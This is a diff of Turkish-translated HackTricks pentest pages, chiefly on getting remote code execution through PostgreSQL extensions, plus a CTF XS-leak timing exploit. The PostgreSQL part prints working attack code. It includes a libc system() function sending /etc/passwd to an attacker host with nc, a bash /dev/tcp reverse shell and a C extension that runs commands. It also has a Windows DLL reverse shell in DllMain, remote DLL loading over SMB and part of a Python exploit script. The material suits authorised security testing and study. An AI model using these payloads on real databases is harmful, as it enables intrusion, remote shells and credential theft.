* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin**.
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**'ya PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,28 +1,33 @@
# PostgreSQL Uzantıları
# RCE with PostgreSQL Extensions
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary>Support HackTricks</summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek ister misiniz**? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak [hacktricks repo'ya](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo'ya](https://github.com/carlospolop/hacktricks-cloud) PR gönderin.**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
PostgreSQL, uzantıları sanki bunlar yerleşik işlevlermiş gibi sorunsuz bir şekilde entegre edebilmesine olanak tanıyan genişletilebilirlik özelliğiyle geliştirilmiştir. Bu uzantılar, temelde C dilinde yazılmış kütüphaneler olup veritabanını ek fonksiyonlar, operatörler veya tiplerle zenginleştirir.
## PostgreSQL Extensions
8.1 sürümünden itibaren uzantı kütüphaneleri için belirli bir gereklilik bulunmaktadır: özel bir başlıkla derlenmiş olmaları gerekmektedir. Bu olmadan PostgreSQL bunları yürütmez, yalnızca uyumlu ve potansiyel olarak güvenli uzantıların kullanılmasını sağlar.
PostgreSQL, genişletilebilirliği temel bir özellik olarak geliştirilmiştir ve uzantıları, sanki yerleşik işlevler gibi sorunsuz bir şekilde entegre etmesine olanak tanır. Bu uzantılar, esasen C dilinde yazılmış kütüphaneler, veritabanını ek işlevler, operatörler veya türlerle zenginleştirir.
Ayrıca, **PostgreSQL'i istismar ederek kurbanın sistemine dosya yüklemeyi bilmiyorsanız** [**bu yazıyı okumalısınız.**](big-binary-files-upload-postgresql.md)
8.1 sürümünden itibaren, uzantı kütüphaneleri için belirli bir gereklilik getirilmiştir: özel bir başlık ile derlenmelidirler. Bunu yapmadan PostgreSQL bunları çalıştırmayacak, yalnızca uyumlu ve potansiyel olarak güvenli uzantıların kullanılmasını sağlayacaktır.
### Linux'ta RCE
Ayrıca, **PostgreSQL'i kötüye kullanarak kurbanın dosyalarını nasıl yükleyeceğinizi bilmiyorsanız, bu yazıyı okumalısınız.** [**upload files to the victim abusing PostgreSQL you should read this post.**](big-binary-files-upload-postgresql.md)
**Daha fazla bilgi için: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
### RCE in Linux
PostgreSQL 8.1 ve daha eski sürümlerinden sistem komutlarının yürütülmesi belgelenmiş ve basit bir süreçtir. Bu şu şekilde kullanılabilir: [Metasploit modülü](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
**For more information check: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
PostgreSQL 8.1 ve önceki sürümlerden sistem komutlarının yürütülmesi, açıkça belgelenmiş ve basit bir süreçtir. Bunu kullanmak mümkündür: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
```sql
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
@ -34,9 +39,9 @@ CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' L
```
<details>
<summary>Base64'dan ikili dosya yazma</summary>
<summary>Base64 ile ikili dosya yazma</summary>
Postgres'te bir dosyaya ikili veri yazmak için base64 kullanmanız gerekebilir, bu durumda aşağıdaki yöntem işinize yarayabilir:
Postgres'te bir ikili dosyayı yazmak için base64 kullanmanız gerekebilir, bu konuda yardımcı olacaktır:
```sql
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
@ -76,30 +81,29 @@ $$ LANGUAGE 'plpgsql';
```
</details>
Ancak, daha büyük sürümlerde denendiğinde **aşağıdaki hata görüntülendi**:
Ancak, daha büyük sürümlerde denendiğinde **aşağıdaki hata gösterildi**:
```c
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
```
Bu hata, [PostgreSQL belgelerinde](https://www.postgresql.org/docs/current/static/xfunc-c.html) açıklanmıştır:
Bu hata, [PostgreSQL belgelerinde](https://www.postgresql.org/docs/current/static/xfunc-c.html) açıklanmaktadır:
> Bir dinamik olarak yüklenen nesne dosyasının uyumsuz bir sunucuya yüklenmemesini sağlamak için PostgreSQL, dosyanın uygun içeriğe sahip bir "büyülü blok" içerdiğini kontrol eder. Bu, sunucunun, PostgreSQL'nin farklı bir ana sürümü için derlenmiş bir kod gibi açık uyumsuzlukları tespit etmesine olanak tanır. PostgreSQL 8.2'den itibaren bir büyülü blok gereklidir. Bir büyülü blok eklemek için, başlık fmgr.h dahil edildikten sonra modül kaynak dosyalarından birinde şunu yazın:
> Dinamik olarak yüklenen bir nesne dosyasının uyumsuz bir sunucuya yüklenmediğinden emin olmak için, PostgreSQL dosyanın uygun içeriklere sahip bir "sihirli blok" içerip içermediğini kontrol eder. Bu, sunucunun PostgreSQL'in farklı ana sürümü için derlenmiş kod gibi belirgin uyumsuzlukları tespit etmesine olanak tanır. PostgreSQL 8.2'den itibaren bir sihirli blok gereklidir. Bir sihirli blok eklemek için, bu kodu modül kaynak dosyalarından birine (ve yalnızca birine) yazın, fmgr.h başlığını ekledikten sonra:
>
> `#ifdef PG_MODULE_MAGIC`\
> `PG_MODULE_MAGIC;`\
> `#endif`
PostgreSQL sürüm 8.2'den itibaren, saldırganın sistemi istismar etmek için izlemesi gereken süreç daha zor hale getirilmiştir. Saldırganın ya zaten sistemde bulunan bir kütüphaneyi kullanması ya da özel bir kütüphane yüklemesi gerekmektedir. Bu özel kütüphane, PostgreSQL'nin uyumlu ana sürümüne karşı derlenmiş olmalı ve belirli bir "büyülü blok" içermelidir. Bu önlem, PostgreSQL sistemlerini istismar etmenin zorluğunu önemli ölçüde artırır, çünkü sistem mimarisinin ve sürüm uyumluluğunun daha derin bir anlayışını gerektirir.
PostgreSQL 8.2 sürümünden itibaren, bir saldırganın sistemi istismar etme süreci daha zor hale getirilmiştir. Saldırganın ya sistemde zaten mevcut olan bir kütüphaneyi kullanması ya da özel bir kütüphane yüklemesi gerekmektedir. Bu özel kütüphane, uyumlu ana PostgreSQL sürümüne karşı derlenmeli ve belirli bir "sihirli blok" içermelidir. Bu önlem, PostgreSQL sistemlerini istismar etmeyi önemli ölçüde zorlaştırır, çünkü sistemin mimarisi ve sürüm uyumluluğu hakkında daha derin bir anlayış gerektirir.
#### Kütüphaneyi Derle
#### Kütüphaneyi derleyin
PostgreSQL sürümünü alın:
PostgreSQL sürümünü almak için:
```sql
SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
```
Uyumluluk için, ana sürümlerin hizalanması önemlidir. Bu nedenle, 9.6.x serisi içinde herhangi bir sürümle bir kütüphaneyi derlemek başarılı entegrasyonu sağlamalıdır.
Uyumluluk için, ana sürümlerin uyumlu olması gerekmektedir. Bu nedenle, 9.6.x serisindeki herhangi bir sürümle bir kütüphane derlemek, başarılı bir entegrasyon sağlamalıdır.
Bu sürümü sisteminize kurmak için:
```bash
@ -122,19 +126,19 @@ char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}
```
Ardından derlenmiş kütüphaneyi yükleyin ve şu komutları yürütün:
Sonra derlenmiş kütüphaneyi yükleyin ve komutları şu şekilde çalıştırın:
```bash
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes
```
Bu **kütüphane önceden derlenmiş** birkaç farklı PostgreSQL sürümüne ve hatta şu adresten (eğer PostgreSQL erişiminiz varsa) **bu işlemi otomatikleştirebilirsiniz**:
Bu **kütüphaneyi önceden derlenmiş** olarak çeşitli PostgreSQL sürümlerinde bulabilirsiniz ve hatta **bu süreci otomatikleştirebilirsiniz** (eğer PostgreSQL erişiminiz varsa) şunla:
{% embed url="https://github.com/Dionach/pgexec" %}
### Windows'ta Uzaktan Kod Çalıştırma (RCE)
### Windows'ta RCE
Aşağıdaki DLL, **binary dosyasının adını** ve **çalıştırmak istediğiniz** **kez sayısını** girdi olarak alır ve çalıştırır:
Aşağıdaki DLL, **ikili dosyanın adını** ve çalıştırmak istediğiniz **kez sayısını** girdi olarak alır ve bunu çalıştırır:
```c
#include "postgres.h"
#include <string.h>
@ -175,13 +179,13 @@ Bu zip dosyasında derlenmiş DLL'yi bulabilirsiniz:
{% file src="../../../.gitbook/assets/pgsql_exec.zip" %}
Bu DLL'ye **hangi ikili dosyanın yürütüleceğini** ve kaç kez yürütüleceğini belirtebilirsiniz, bu örnekte `calc.exe` 2 kez yürütülecektir:
Bu DLL'ye **hangi ikili dosyanın çalıştırılacağını** ve kaç kez çalıştırılacağını belirtebilirsiniz, bu örnekte `calc.exe` 2 kez çalıştırılacaktır:
```bash
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);
```
[**burada**](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) bu ters kabuğu bulabilirsiniz:
[**burada** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) bu ters kabuğu bulabilirsiniz:
```c
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"
@ -259,38 +263,38 @@ int32 arg = PG_GETARG_INT32(0);
PG_RETURN_INT32(arg + 1);
}
```
Not aldatıcı kodun **DllMain fonksiyonu içinde** olduğuna dikkat edin. Bu durumda, postgresql'de yüklenen fonksiyonu çalıştırmak gerekli değildir, sadece **DLL yüklemek** ters kabuğu **çalıştıracaktır**:
Not edin ki bu durumda **kötü niyetli kod DllMain fonksiyonunun içindedir**. Bu, bu durumda postgresql'de yüklenen fonksiyonu çalıştırmanın gerekli olmadığı anlamına gelir, sadece **DLL'yi yüklemek** **ters shell'i çalıştıracaktır**:
```c
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
```
[PolyUDF projesi](https://github.com/rop-la/PolyUDF) aynı zamanda tam MS Visual Studio projesi ve _command eval_, _exec_ ve _cleanup_ içeren kullanıma hazır bir kütüphane ile çoklu sürüm desteği sunan iyi bir başlangıç noktasıdır.
[PolyUDF projesi](https://github.com/rop-la/PolyUDF), tam MS Visual Studio projesi ve çoklu versiyon desteği olan kullanıma hazır bir kütüphane (_command eval_, _exec_ ve _cleanup_ dahil) ile iyi bir başlangıç noktasıdır.
### En yeni PostgreSQL sürümlerinde Uzaktan Kod Çalıştırma (RCE)
### En yeni PostgreSQL sürümlerinde RCE
PostgreSQL'in **en son sürümlerinde**, `superuser`'ın belirli dizinlerden başka paylaşılan kütüphane dosyalarını yükleme işlemi **yasaklanmıştır**, örneğin Windows'ta `C:\Program Files\PostgreSQL\11\lib` veya \*nix sistemlerinde `/var/lib/postgresql/11/lib` gibi belirli dizinler. Bu dizinler yazma işlemlerine karşı NETWORK\_SERVICE veya postgres hesapları tarafından **korunmaktadır**.
**En son sürümlerde** PostgreSQL, `superuser`'ın belirli dizinler dışında paylaşılan kütüphane dosyalarını **yüklemesi** **yasaklanmıştır**. Bu dizinler, Windows'ta `C:\Program Files\PostgreSQL\11\lib` veya \*nix sistemlerinde `/var/lib/postgresql/11/lib` gibi yerlerdir. Bu dizinler, NETWORK\_SERVICE veya postgres hesapları tarafından yazma işlemlerine **karşı güvence altına alınmıştır**.
Bu kısıtlamalara rağmen, kimlik doğrulaması yapılmış bir veritabanı `superuser`'ının "büyük nesneler" kullanarak dosya sistemine **biner dosyalar yazması mümkündür**. Bu yetenek, tabloları güncelleme veya oluşturma gibi veritabanı işlemleri için esas olan `C:\Program Files\PostgreSQL\11\data` dizinine yazma işlemine genişler.
Bu kısıtlamalara rağmen, kimlik doğrulaması yapılmış bir veritabanı `superuser`'ı, "büyük nesneler" kullanarak dosya sistemine **ikili dosyalar yazabilir**. Bu yetenek, veritabanı işlemleri için gerekli olan `C:\Program Files\PostgreSQL\11\data` dizininde yazma işlemini de kapsamaktadır.
Önemli bir zafiyet, dizin gezintisine izin veren `CREATE FUNCTION` komutundan kaynaklanmaktadır. Sonuç olarak, kimlik doğrulaması yapılmış bir saldırgan, bu gezintiyi kullanarak bir paylaşılan kütüphane dosyasını veri dizinine yazabilir ve ardından onu **yükleyebilir**. Bu saldırı, saldırganın sisteminde keyfi kod yürütmesine olanak tanır, böylece sistemde yerel kod yürütme sağlanır.
`CREATE FUNCTION` komutundan kaynaklanan önemli bir güvenlik açığı, veri dizinine **dizin geçişine** **izin vermesidir**. Sonuç olarak, kimlik doğrulaması yapılmış bir saldırgan, bu geçişi **istismar ederek** veri dizinine bir paylaşılan kütüphane dosyası yazabilir ve ardından **yükleyebilir**. Bu istismar, saldırgana rastgele kod çalıştırma yeteneği vererek sistemde yerel kod yürütmesine olanak tanır.
#### Saldırı akışı
İlk olarak, **dll dosyasını yüklemek için büyük nesneleri kullanmanız gerekir**. Bunu nasıl yapacağınızı buradan görebilirsiniz:
Öncelikle **dll'yi yüklemek için büyük nesneleri kullanmalısınız**. Bunu nasıl yapacağınızı burada görebilirsiniz:
{% content-ref url="big-binary-files-upload-postgresql.md" %}
[big-binary-files-upload-postgresql.md](big-binary-files-upload-postgresql.md)
{% endcontent-ref %}
Veri dizinine uzantıyı (bu örnekte poc.dll adıyla) yükledikten sonra şunu kullanarak yükleyebilirsiniz:
Uzantıyı (bu örnek için poc.dll adıyla) veri dizinine yükledikten sonra, bunu şu şekilde yükleyebilirsiniz:
```c
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);
```
_Not: `.dll` uzantısını eklemenize gerek yok çünkü oluşturma işlevi bunu ekleyecektir._
_Not edin `.dll` uzantısını eklemenize gerek yoktur çünkü create function bunu ekleyecektir._
Daha fazla bilgi için **orijinal yayını**[ **buradan okuyun**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
O yayında **bu, postgres uzantısını oluşturmak için kullanılan koddu**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_bir postgres uzantısını derlemeyi öğrenmek için önceki sürümlerden herhangi birini okuyun_).\
Aynı sayfada bu **tekniği otomatikleştirmek için kullanılan** exploit verildi:
Daha fazla bilgi için **orijinal yayını** [**buradan okuyun**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
O yayında **bu, postgres uzantısını oluşturmak için kullanılan** [**koddu**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_bir postgres uzantısını nasıl derleyeceğinizi öğrenmek için önceki sürümlerden herhangi birini okuyun_).\
Aynı sayfada bu **teknik otomatikleştirmek için** verilen **sömürü**:
```python
#!/usr/bin/env python3
import sys
@ -333,14 +337,17 @@ print(" drop function connect_back(text, integer);")
* [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)
* [https://www.exploit-db.com/papers/13084](https://www.exploit-db.com/papers/13084)
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te** görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,32 +1,35 @@
# Bağlantı Havuzu Hedefe Göre Örnek
# Connection Pool by Destination Example
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
[**Bu saldırıda**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html), [**@terjanq**](https://twitter.com/terjanq) aşağıdaki sayfada bahsedilen zorluk için başka bir çözüm önermektedir:
[**bu istismar**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html) içinde, [**@terjanq**](https://twitter.com/terjanq) aşağıdaki sayfada bahsedilen zorluk için bir çözüm daha önermektedir:
{% content-ref url="connection-pool-by-destination-example.md" %}
[connection-pool-by-destination-example.md](connection-pool-by-destination-example.md)
{% endcontent-ref %}
Bu saldırının nasıl çalıştığına bakalım:
Bu istismarın nasıl çalıştığını görelim:
* Saldırgan, **6'dan fazla** orijini engellemek için **`<img`** etiketleriyle **`/js/purify.js`** yükleyen bir not enjekte edecektir.
* Ardından, saldırgan **1 numaralı notu kaldıracaktır**.
* Daha sonra, saldırgan \[**botun sayfayı yüklemesini sağlayacak** ve geriye kalan notu erişecektir] ve **`victim.com/js/purify.js`** adresine bir **istek** gönderecektir ve bunun süresini **ölçecektir**.&#x20;
* Eğer süre **daha uzunsa**, enjeksiyon **kalan notta** bulunuyordu, eğer süre **daha kısa** ise bayrak oradaydı.
* Saldırgan, mümkün olduğunca çok **`<img`** etiketi ile **`/js/purify.js`** yükleyecek bir not ekleyecektir (orijini engellemek için 6'dan fazla).
* Ardından, saldırgan **1. indeksteki notu** **kaldıracaktır**.
* Sonra, saldırgan \[kalan not ile **botun sayfayı erişmesini sağlar**] ve **`victim.com/js/purify.js`** adresine bir **istek** gönderecektir ve bunu **zamanlayacaktır**.&#x20;
* Eğer zaman **büyüktürse**, **enjeksyon** kalan **notta** olmuştur, eğer zaman **düşükse**, **bayrak** orada olmuştur.
{% hint style="info" %}
Doğrusu, betiği okurken saldırganın botun img etiketlerini tetiklemek için sayfayı yüklemesini sağladığı bir bölümü kaçırdım, kodda böyle bir şey görmüyorum.
ıkçası, scripti okurken **saldırganın botu img etiketlerini tetiklemek için sayfayı yüklemesini sağladığı** bir kısmı kaçırdım, kodda böyle bir şey görmüyorum.
{% endhint %}
```html
<html>
@ -120,14 +123,17 @@ break;
</html>
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,35 +1,38 @@
# Olay Döngüsü Engelleme + Tembel Resimler
# Event Loop Blocking + Lazy images
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te** reklamını görmek ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**'ya PR göndererek paylaşın.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
